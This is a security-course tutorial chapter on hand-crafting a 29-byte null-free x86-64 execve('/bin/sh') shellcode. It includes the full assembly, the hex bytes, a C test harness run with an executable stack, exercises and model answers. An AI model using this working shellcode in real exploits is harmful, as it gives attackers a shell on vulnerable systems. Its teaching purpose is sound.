Step 203. Writing Shellcode: Hand-Crafting an execve Shellcode — The 29 Bytes That Spawn a Shell
Level 3 — Practical CTF & Advanced Attack Skills | Difficulty ★★★★★ | Estimated time: 5 hours
Prerequisites: you know the buffer overflow of Step 62 and the hex of Step 50. You can use gcc on WSL Ubuntu. You’ve heard of registers and system calls.
- What you need: a WSL Ubuntu terminal, gcc and binutils (
as,ld,objdump,objcopy). The measured environment is Ubuntu 24.04, gcc 13.3.0, x86-64. - ⚠️ All exercises in this chapter are for your own lab and legal platforms only. Applying them to unauthorized systems is a crime. Today’s shellcode runs only inside an experimental program you built yourself.
Shellcode is raw machine code you plant in memory and execute. No C source, no executable-file wrapping — a byte sequence the CPU bites into directly. Its goal is, by convention, one thing: execve("/bin/sh", ...) — the system call that spawns a shell. Spawning a shell means you can now do anything with that program’s privileges, so shellcode is the attack’s final destination.
Today we build this shellcode by hand. We write assembly, assemble it into machine code, extract the bytes, plant them in a C test rig, and confirm a shell actually spawns. And along the way we experience shellcode’s special constraint — the null-byte ban — in our bones. It’s hard. It’s confusing at first. That’s normal. But when it’s over, "spawning a shell" will look not like magic but like the physics of 29 bytes.
1. Learning Objectives
By the end of this chapter, you will be able to:
- Explain the execve system call convention (rax=59, rdi, rsi, rdx)
- Turn assembly into machine code with the GNU assembler (
as/ld) and read the bytes withobjdump - Explain why null bytes kill shellcode, together with three avoidance techniques
- Understand the push technique for creating a string address on the stack
- Run shellcode in a C test harness and confirm a shell spawns
2. Background Knowledge — Today’s Tools and Concepts
Today’s Tools at a Glance
| Category | Details |
|---|---|
| Language/environment | x86-64 assembly (Intel syntax), C (test harness), WSL Ubuntu bash |
| Today’s commands | as (assemble), ld (link), objdump -d (read machine code), objcopy -O binary (extract bytes), xxd -p (hex dump) |
| Concepts needed | System calls, the register calling convention, the null-byte constraint, NX (no-execute memory) and -z execstack |
| Today’s deliverable | A 29-byte null-free execve shellcode + execution verification |
2-1. System Calls and the Calling Convention
The front gate through which a program asks the operating system "run a program for me" is the system call. On 64-bit Linux the convention is fixed.
| Register | Role | Value for execve |
|---|---|---|
rax |
System call number | 59 (execve’s number) |
rdi |
First argument | Address of the string "/bin/sh" |
rsi |
Second argument | 0 (argv — no arguments) |
rdx |
Third argument | 0 (envp — no environment variables) |
Fill in these four slots and execute the syscall instruction, and the kernel spawns /bin/sh. All of today’s assembly is the process of filling in this table.
2-2. The Null-Byte Ban — Shellcode’s Special Rule
Shellcode usually enters memory like a string, via a path such as a buffer overflow. But C string copying stops at \x00 (the null byte). If even one \x00 sits in the middle of your shellcode, it gets cut off at that point.
So shellcode writing is forced into unusual grammar.
mov rax, 0 → 00 00 00 00 embedded in the machine code → forbidden
xor rax, rax → same result (0) but no 00 → adopted
mov rax, 59 → 3b 00 00 00 00 00 00 00 → forbidden
mov al, 59 → b0 3b → adopted (the rest of rax zeroed beforehand with xor)
2-3. Making a String Address — The push Technique
execve wants the address of "/bin/sh". But shellcode has no data section — it leaps in carrying only a byte sequence. The solution: build the string on the stack right on the spot.
Express "/bin//sh" (eight characters — an extra slash behaves identically to /bin/sh) as one 8-byte number, 0x68732f2f6e69622f, load it into a register, and push it onto the stack. That spot on the stack becomes the string address. A classic two-birds-one-stone technique: filling all 8 bytes with non-zero values dodges null bytes too.
2-4. The Assembler — You Don’t Need nasm
Shellcode examples are often shown in nasm syntax, but Ubuntu ships the GNU tools (as, ld) by default. The measured environment had no nasm either — just as/ld/gcc/objdump (confirmed 2026-09-09). Add one line, .intel_syntax noprefix, to your as input and you can write the familiar Intel syntax.
For reference, in the field pwntools’ shellcraft does this work automatically — one line of asm(shellcraft.sh()) produces shellcode bytes. The reason we build by hand today is to gain eyes that can read that automatic output. If you can decode generated assembly line by line, today’s field goal is achieved.
2-5. NX and the Test Harness
Modern systems mark data regions and the stack NX (Non-eXecutable). Meaning the places shellcode gets planted are non-executable — which is why real attacks take detours like ROP. Today our purpose is verifying the shellcode itself, so for the test program only, we allow stack execution with the -z execstack option. This is removing a safety lock in the lab, not a field technique.
3. Follow Along
3-1. Bad Shellcode — Null Bytes in the Flesh
We start with a version that deliberately breaks the rules. Make a working folder and write bad.asm.
Input (bad.asm)
.intel_syntax noprefix
.global _start
_start:
mov rax, 59
mov rdi, 0
mov rsi, 0
mov rdx, 0
syscall
Assemble and disassemble
as bad.asm -o bad.o && ld bad.o -o bad
objdump -d bad
Output (measured 2026-09-09, Ubuntu 24.04):
0000000000401000 <_start>:
401000: 48 c7 c0 3b 00 00 00 mov $0x3b,%rax
401007: 48 c7 c7 00 00 00 00 mov $0x0,%rdi
40100e: 48 c7 c6 00 00 00 00 mov $0x0,%rsi
401015: 48 c7 c2 00 00 00 00 mov $0x0,%rdx
40101c: 0f 05 syscall
How to read it: the middle column is the machine-code bytes. 00s are embedded everywhere — actually count them (measured 2026-09-09):
objcopy -O binary --only-section=.text bad bad.bin
python3 -c "d=open('bad.bin','rb').read(); print('size:', len(d), 'null bytes:', d.count(0))"
size: 30 null bytes: 15
Why: fifteen of the thirty bytes are nulls. The moment this byte sequence is planted via a string path, it gets cut at the fourth byte. "Logically correct code" and "code usable as shellcode" are different — this is today’s starting point.
3-2. The Cutting Demonstration — How a Null Slices a String
Let’s see the null byte’s cutting with our eyes. Here is nullcut.c.
Input (nullcut.c)
#include <stdio.h>
#include <string.h>
int main(void) {
char bad[] = "\x48\xc7\xc0\x3b\x00\x00\x00\x48\xc7\xc7";
char good[] = "\x48\x31\xd2\x52\x48\xbb\x2f\x62\x69\x6e";
printf("null-containing version, length as a copied string: %zu\n", strlen(bad));
printf("null-free version, length as a copied string: %zu\n", strlen(good));
return 0;
}
gcc nullcut.c -o nullcut && ./nullcut
Output (measured 2026-09-09):
null-containing version, length as a copied string: 4
null-free version, length as a copied string: 10
How to read it: bad holds ten bytes but strlen sees 4 — the fifth byte is \x00, so it’s treated as the end. Shellcode entering via this path gets only its first four bytes planted. A leading cause of attacks "failing silently."
3-3. Designing the Null-Free Shellcode — Line by Line
Now we build the real thing. Filling the convention table (2-1) without nulls is the whole job. Here is shell.asm.
Input (shell.asm)
.intel_syntax noprefix
.global _start
_start:
xor rdx, rdx ; rdx = 0 (envp)
push rdx ; 8 bytes of 0 on the stack — doubles as the string terminator
mov rbx, 0x68732f2f6e69622f ; "/bin//sh" as one whole number
push rbx ; the string now sits on the stack
mov rdi, rsp ; rdi = address of "/bin//sh"
push rdx ; build the argv array: one NULL
push rdi ; and one string address
mov rsi, rsp ; rsi = address of argv ["/bin//sh", NULL]
xor eax, eax ; rax = 0
mov al, 59 ; rax = 59 (execve) — touch only al to dodge nulls
syscall
Reading it line by line:
xor rdx, rdx— XOR a register with itself and you get 0. Same result asmov rdx, 0, but no00in the machine code.mov rbx, 0x68732f2f6e69622f— a mysterious number on the surface, but split it into bytes: 2f 62 69 6e 2f 2f 73 68 —/bin//shin little-endian order. Not a single 0 among the eight bytes.push rdx/push rbx—\x00\x00...\x00/bin//shpiles up on the stack. The string and its terminator are complete.push rdx/push rdi/mov rsi, rsp— builds the argv array on the stack on the spot. This step is needed because execve’s second argument is "an array of pointers."xor eax, eax+mov al, 59— zero all of rax, then set only the lowest byte (al) to 59. A trick for dodging the seven nulls ofmov rax, 59.
3-4. Assembling and Extracting the Bytes
as shell.asm -o shell.o && ld shell.o -o shell
objdump -d shell
Output (measured 2026-09-09):
0000000000401000 <_start>:
401000: 48 31 d2 xor %rdx,%rdx
401003: 52 push %rdx
401004: 48 bb 2f 62 69 6e 2f movabs $0x68732f2f6e69622f,%rbx
40100b: 2f 73 68
40100e: 53 push %rbx
40100f: 48 89 e7 mov %rsp,%rdi
401012: 52 push %rdx
401013: 57 push %rdi
401014: 48 89 e6 mov %rsp,%rsi
401017: 31 c0 xor %eax,%eax
401019: b0 3b mov $0x3b,%al
40101b: 0f 05 syscall
Not a single 00 in the machine-code column. Extract the bytes to a file and verify (measured 2026-09-09):
objcopy -O binary --only-section=.text shell shell.bin
python3 -c "d=open('shell.bin','rb').read(); print('size:', len(d), 'bytes / null bytes:', d.count(0))"
xxd -p shell.bin | tr -d '\n'; echo
size: 29 bytes / null bytes: 0
4831d25248bb2f62696e2f2f7368534889e752574889e631c0b03b0f05
How to read it: 29 bytes, zero nulls. This hex sequence is today’s shellcode. Compare the 2f 62 69 6e 2f 2f 73 68 stretch — it’s the /bin//sh string itself, data embedded inside machine code.
3-5. The Test Harness — Trap First
Let’s build the rig that executes the bytes. We’ll start with the common first attempt — declaring the array global. This version fails.
Input (runner.c — the failing version)
#include <stdio.h>
unsigned char code[] =
"\x48\x31\xd2\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x31\xc0\xb0\x3b\x0f\x05";
int main(void) {
printf("shellcode size: %zu bytes\n", sizeof(code) - 1);
(*(void(*)())code)();
return 0;
}
gcc runner.c -o runner -z execstack
./runner
Output (measured 2026-09-09):
Segmentation fault (core dumped)
How to read it: -z execstack lifts the execution ban on the stack only. The global array code lives not on the stack but in the data section (.data), which is still non-executable. A signature trap where correct shellcode still dies — you have to look at the "address" of where it died to see the cause.
3-6. The Success Version — Executing on the Stack
Move the array to a local variable inside main, and the code lands on the stack — the very stack -z execstack unlocked — and runs there.
Input (runner2.c)
#include <stdio.h>
int main(void) {
unsigned char code[] =
"\x48\x31\xd2\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x31\xc0\xb0\x3b\x0f\x05";
printf("shellcode size: %zu bytes\n", sizeof(code) - 1);
printf("code address: %p\n", (void *)code);
(*(void(*)())code)();
return 0;
}
gcc runner2.c -o runner2 -z execstack
echo "echo [SHELLCODE SHELL REACHED]; id; whoami; exit" | ./runner2
Output (measured 2026-09-09):
[SHELLCODE SHELL REACHED]
uid=0(root) gid=0(root) groups=0(root)
root
return code: 0
How to read it: the shellcode ./runner2 executed spawned /bin/sh, and the commands fed through the pipe ran inside that shell. The responses from id and whoami are the evidence. (The measured environment’s user is root, hence that display; your environment will print your own account.) execve replaces the current program with a new one, so when the shell ends with exit, there is no code to return to in runner — the process itself became the shell.
Why: in this moment you replaced a process with 29 bytes of numbers. The final scene of a buffer-overflow attack — "these bytes execute where you overwrote" — is something your hands now understand.
4. Missions & Exercises
Mission — Your Own Shellcode and Its Null-Free Certificate
- Assemble the 3-3
shell.asmto obtain the 29-byte null-free byte sequence - Design a
"/bin/sh"(seven characters) version yourself instead of"/bin//sh"— hint: at 7 bytes it’s0x68732f6e69622f, and the top byte becomes 0, so a plainmovintroduces a null. Think about how to dodge it - Run both shellcodes the runner2 way and confirm a shell spawns
- Leave a record verifying each shellcode’s byte count and zero null bytes with a one-line
python3check
Exercises
Exercise 1. Write down the four registers to fill for the execve system call and their values.
Exercise 2. Explain, from a machine-code-bytes perspective, why we use xor eax, eax + mov al, 59 instead of mov rax, 59.
Exercise 3. Explain how shellcode secures the address of the "/bin//sh" string without a data section — and why the extra slash.
Exercise 4. In 3-5, why did the segfault happen even with -z execstack? Why does moving to a local array fix it?
5. Model Answers & Completion Criteria
Mission Model Answer
Items 1, 3, and 4 follow the measured procedures of 3-4~3-6 verbatim. An example design for item 2, the 7-byte "/bin/sh" version:
.intel_syntax noprefix
.global _start
_start:
xor rdx, rdx
push rdx ; string terminator
mov bx, 0x6873 ; "sh"
push rbx ; ← only 16 bits pushed in, top stays 0
mov rbx, 0x6e69622f ; "/bin"
...
There’s also a simpler answer — shift one byte out of an 8-byte number. After mov rbx, 0x68732f6e69622fff, a shr rbx, 8 erases the top byte to 0, and "\x00" + "/bin/sh" lands on the stack. Either way, the requirement is the same — make the null by computation, not by embedding it as a constant.
How to verify: ① is there no 00 in the objdump -d output? ② are the extracted byte count and null count recorded with a one-line Python check? ③ did you run it with runner2 and receive output from a command like id?
Exercise Answers
Answer 1. rax = 59 (execve’s system call number), rdi = address of the "/bin/sh" string, rsi = 0 (no argv), rdx = 0 (no envp). Then hand over to the kernel with syscall.
Answer 2. mov rax, 59 encodes an 8-byte constant whole, so the machine code becomes 48 c7 c0 3b 00 00 00 — four nulls included (measured in 3-1). Zero the whole with xor eax, eax (31 c0), then change only the lowest byte with mov al, 59 (b0 3b), and rax becomes 59 with no nulls in the byte sequence.
Answer 3. Build it on the stack right on the spot. Express the eight characters of "/bin//sh" as one 8-byte number, load it into a register, and push — that stack location is the string’s start address. The extra slash exists to fill exactly 8 bytes, making every byte of the constant non-zero — and /bin//sh behaves identically to /bin/sh.
Answer 4. -z execstack lifts the execution ban on the stack only. A global array sits in the data section (.data) and stays non-executable, so the moment you jump to that address, a segfault fires (measured in 3-5). A local array sits on the stack, so the shellcode runs on the execution-enabled stack.
Completion Criteria Checklist
- [ ] I can state the execve convention (rax=59, rdi/rsi/rdx) as a table
- [ ] I can assemble with
asandldand read machine code withobjdump -d - [ ] I can extract pure bytes with
objcopy -O binary --only-section=.text - [ ] I can explain the principle by which null bytes kill shellcode (string cutting)
- [ ] I know the three null-avoidance techniques: xor, al manipulation, and stack-pushed strings
- [ ] I can read
/bin//shas one 8-byte number (0x68732f2f6e69622f) - [ ] Mission: I spawned a shell with my shellcode and left a null-free verification record
6. Common Pitfalls & Fixes
Wall 1. Segfault even with -z execstack
Symptom (measured 2026-09-09):
Segmentation fault (core dumped)
Cause: the shellcode array was declared global and landed in the data section. execstack unlocks only the stack.
Fix: move the array to a local variable inside main (3-6). Or build the habit of printing the shellcode’s address to see where it landed — which region the address belongs to is the cause itself.
Wall 2. The shell spawned but commands don’t take
Symptom: you run runner and it’s silent with no output, or it exits right away.
Cause: the shell is waiting on standard input but ended without terminal interaction, or the pipe input is empty.
Fix: feed commands through a pipe as in the text — echo "commands; exit" | ./runner2. When checking interactively, run ./runner2 and type commands with no prompt — sometimes the shell is up but the prompt simply doesn’t show.
Wall 3. I typed nasm syntax and as throws errors
Symptom: parse errors at lines like section .text.
Cause: GNU as and nasm use different directives.
Fix: use the text’s format verbatim — .intel_syntax noprefix and .global _start are enough. as defaults to AT&T syntax, so drop the Intel declaration on the first line and the operand order flips, producing wrong code.
Wall 4. After running shellcode, the message after exit looks odd
Symptom: after the shell exits, runner looks like it crashed.
Cause: normally that can’t happen — execve replaces the whole process, so no "runner to return to" exists.
Fix: it’s not a bug; it’s execve’s definition. If you built shellcode without exit (say, experimenting with another system call) and designed the flow to return to runner, then crashing is normal — there’s no return address.
Wall 5. I embedded a string constant directly and got a null
Symptom: with mov rbx, 0x68732f6e69622f ("/bin/sh", 7 bytes), objdump shows a 00.
Cause: a 7-byte constant gets zero-padded on top when encoded as 8 bytes.
Fix: fill all 8 bytes and shift out with shr as in Mission item 2’s solution, or push in two parts. Nulls are made "by computation," not "embedded as constants" — that’s the principle.
7. Summary
Today’s Concepts
| Concept | One-line explanation |
|---|---|
| Shellcode | Raw machine code planted in memory and executed — the goal is usually execve("/bin/sh") |
| System call convention | The agreement: rax=number, rdi/rsi/rdx=arguments in order (execve is 59) |
| Null-byte constraint | Shellcode planted via string paths gets cut at \x00 |
| Null-avoidance techniques | Make 0 with xor, use partial registers like al, create nulls by computation |
| Push string | The technique of building a string on the stack on the spot, no data section needed |
| NX and execstack | No-execute memory, and the compile option that unlocks only the stack in the lab |
Today’s Commands
| Command | What it does |
|---|---|
as shell.asm -o shell.o |
Assembly → object file |
ld shell.o -o shell |
Object → executable |
objdump -d shell |
View machine-code bytes and mnemonics side by side |
objcopy -O binary --only-section=.text shell shell.bin |
Extract just the code bytes |
xxd -p shell.bin |
Dump bytes as a hex string |
gcc runner2.c -o runner2 -z execstack |
Stack-execution-enabled test harness (lab only) |
An Instinct More Important Than Commands
The 29 bytes you made today are a number sequence and a program at once. The essence of shellcode writing is not memorization but design under constraints — finding the optimum amid the goal of the calling convention, the constraint of the null ban, and the environment of a missing data section. With this instinct, even shellcraft’s automatic output starts reading as "why this order," and beyond that, why you must go to ROP in front of NX follows naturally. Today is the day spawning a shell changed from magic to physics.
Once every box is checked, Step 203 is complete. Click the checkbox in the sidebar to save your progress.